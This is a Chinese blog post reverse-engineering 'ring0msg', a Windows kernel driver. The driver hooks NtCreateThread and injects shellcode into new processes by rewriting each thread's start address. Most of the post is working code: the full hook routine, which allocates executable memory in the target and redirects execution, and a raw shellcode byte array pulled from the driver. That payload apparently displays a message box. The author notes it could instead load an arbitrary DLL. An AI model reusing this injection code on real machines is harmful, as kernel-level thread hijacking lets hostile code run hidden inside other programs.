逆向ring0msg

by 执着一生

 

最近抽空把ring0msg[相关文章请参阅“邪恶的RING0注射ShellCode脆弱的PE加载机制”作者:hellfish]给逆了下,其实也不是什么高深的技术,很早的时候老外就搞出来了,只不过带ring3层的操作而已,稍微改改就完全可以用一个sys搞定。
    原理也不复杂,其实就是修改线程入口点改变流程,让线程开始的时候先执行shellcode而已。ThreadContext->Eax是ETHREAD.Win32StartAddress就是线程入口点地址,主要在这里做文章就可以了。具体看代码吧。
   
    当然你也可以换成加载一个dll或是什么的,不过用来搞破坏就不是好孩子了。。。。。
   
    要测试的话最好在虚拟机上玩,因为卸载驱动的时候好像会蓝的哦!懒的调了,因为最近眼睛有点蓝。。。。
   
    另外在逆向的时候参考了老外的代码,吼吼~~
   
主要代码片段:   
   
    NTSTATUS MyNtCreateThread(
                          OUT PHANDLE ThreadHandle,
                          IN ACCESS_MASK DesiredAccess,
                          IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
                          IN HANDLE ProcessHandle,
                          OUT PCLIENT_ID ClientId,
                          IN PCONTEXT ThreadContext,
                          IN PINITIAL_TEB InitialTeb,
                          IN BOOLEAN CreateSuspended)
{
   

    NTSTATUS ResultStatus;

    DBGPRINT(("Called NtCreateThread/n"));

    if (
        ThreadContext &&
        CreateSuspended &&
        ProcessHandle &&
        ProcessHandle!=(void *)0xffffffff &&
        FindLockProcessInQueue(ProcessHandle)
        )
    {
       
        NTSTATUS ObjectStatus;
        PEPROCESS pProcess;
        POBJECT_TYPE PsProcessType = NULL;;

        DBGPRINT(("Kernel trying to CreateThread for ProcessHandle = 0x%X/n",ProcessHandle));

        ObjectStatus = ObReferenceObjectByHandle(
            ProcessHandle,
            PROCESS_ALL_ACCESS,
            PsProcessType,
            UserMode,
            (PVOID *)&pProcess,
            NULL);

        if (ObjectStatus!=STATUS_SUCCESS)
        {
            DBGPRINT(("Fail to RefernceObject. Stopping Inject./n"));
        }
        else
        {
            NTSTATUS ZwAllocStatus;
            UCHAR * BaseAddr;
            SIZE_T AllocationSize;
            ULONG Win32StartAddr;

            AllocationSize = 200;
            BaseAddr = NULL;
            PsProcessType = NULL;

            if (ThreadContext)
            {
                //remembering value of ThreadContext->Eax
                //it contains process staring address in user mode
                Win32StartAddr = ThreadContext->Eax;

                if (!Win32StartAddr)
                {
                    DBGPRINT(("--------------Win32StartAddr not set--------------------/n"));
                }
                else
                {
                    //"jumping" to context of new process
                    KeDetachProcess();
                    KeAttachProcess((void *)pProcess);

                    //allocating memory with PAGE_EXECUTE_READWRITE access rights

                    ZwAllocStatus = ZwAllocateVirtualMemory(
                        NtCurrentProcess(),
                        &BaseAddr,
                        0,
                        &AllocationSize,
                        MEM_COMMIT    ,
                        PAGE_EXECUTE_READWRITE);
                    if (ZwAllocStatus!=STATUS_SUCCESS)
                    {
                        DBGPRINT(("---------------Fail to Allocate memory! AllocStatus = 0x%x/n",ZwAllocStatus));
                    }
                    else
                    {
                        ULONG Offset = 0;
                       
                        DBGPRINT(("---------------Memory allocation OK! BaseAddr = 0x%x/n",BaseAddr));
                        //写入shellcode代码

                        for(Offset;Offset<AllocationSize;Offset++)
                        {
                            BaseAddr[Offset] = shellcode[Offset];
                       
                        }

                        DBGPRINT(("---------------Old EAX Value = 0x%08x/n",Win32StartAddr));

                        *((DWORD *)BaseAddr + 16) = Win32StartAddr;
                        Win32StartAddr = (ULONG)BaseAddr;

                    }
                    //"jumping" back to previos contex.

                    KeDetachProcess();

                    //setting process start address to allocated memory
                    ThreadContext->Eax = Win32StartAddr;
                }

            }
            ObDereferenceObject(pProcess);
        }

        ExReleaseFastMutex(&g_QueueAccessFastMutex);

        RemoveProcessFromQueue(ProcessHandle);
    }

    ResultStatus = Org_NtCreateThread(
        ThreadHandle,
        DesiredAccess,
        ObjectAttributes,
        ProcessHandle,
        ClientId,
        ThreadContext,
        InitialTeb,
        CreateSuspended);

    if (ResultStatus == STATUS_SUCCESS && CreateSuspended)
    {
        DBGPRINT(("Kernel sucessfully create new thread./n----->ThreadHandle = 0x%xh for ProcessHandle = 0x%x/n",*ThreadHandle,ProcessHandle));
    }

    return ResultStatus;

}

sys文件中提取的shellcode:

    unsigned char shellcode[] =
"/xE9/x86/x00/x00/x00/x5F/x64/xA1/x30/x00/x00/x00/x8B/x40/x0C/x8B"
"/x70/x1C/xAD/x8B/x68/x08/x8B/xF7/x6A/x01/x59/xE8/x26/x00/x00/x00"
"/xE2/xF9/x68/x33/x32/x00/x00/x68/x75/x73/x65/x72/x54/xFF/x16/x8B"
"/xE8/xE8/x10/x00/x00/x00/x6A/x00/x57/x57/x6A/x40/xFF/x56/x04/xB8"
"/xFF/xFF/xFF/xFF/x50/xC3/x51/x56/x8B/x75/x3C/x8B/x74/x2E/x78/x03"
"/xF5/x56/x8B/x76/x20/x03/xF5/x33/xC9/x49/x41/xAD/x03/xC5/x33/xDB"
"/x0F/xBE/x10/x3A/xD6/x74/x08/xC1/xCB/x0D/x03/xDA/x40/xEB/xF1/x3B"
"/x1F/x75/xE7/x5E/x8B/x5E/x24/x03/xDD/x66/x8B/x0C/x4B/x8B/x5E/x1C"
"/x03/xDD/x8B/x04/x8B/x03/xC5/xAB/x5E/x59/xC3/xE8/x75/xFF/xFF/xFF"
"/x8E/x4E/x0E/xEC/xA8/xA2/x4D/xBC/xD5/xE2/xCA/xC7/xC0/xB4/xD6/xC1"
"/x52/x69/x6E/x67/x30/xB5/xC4/xCE/xCA/xBA/xF2/x20/x62/x79/x20/x48"
"/x65/x6C/x6C/x46/x69/x73/x68/x40/x71/x71/x2E/x63/x6F/x6D/x00/x00";

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值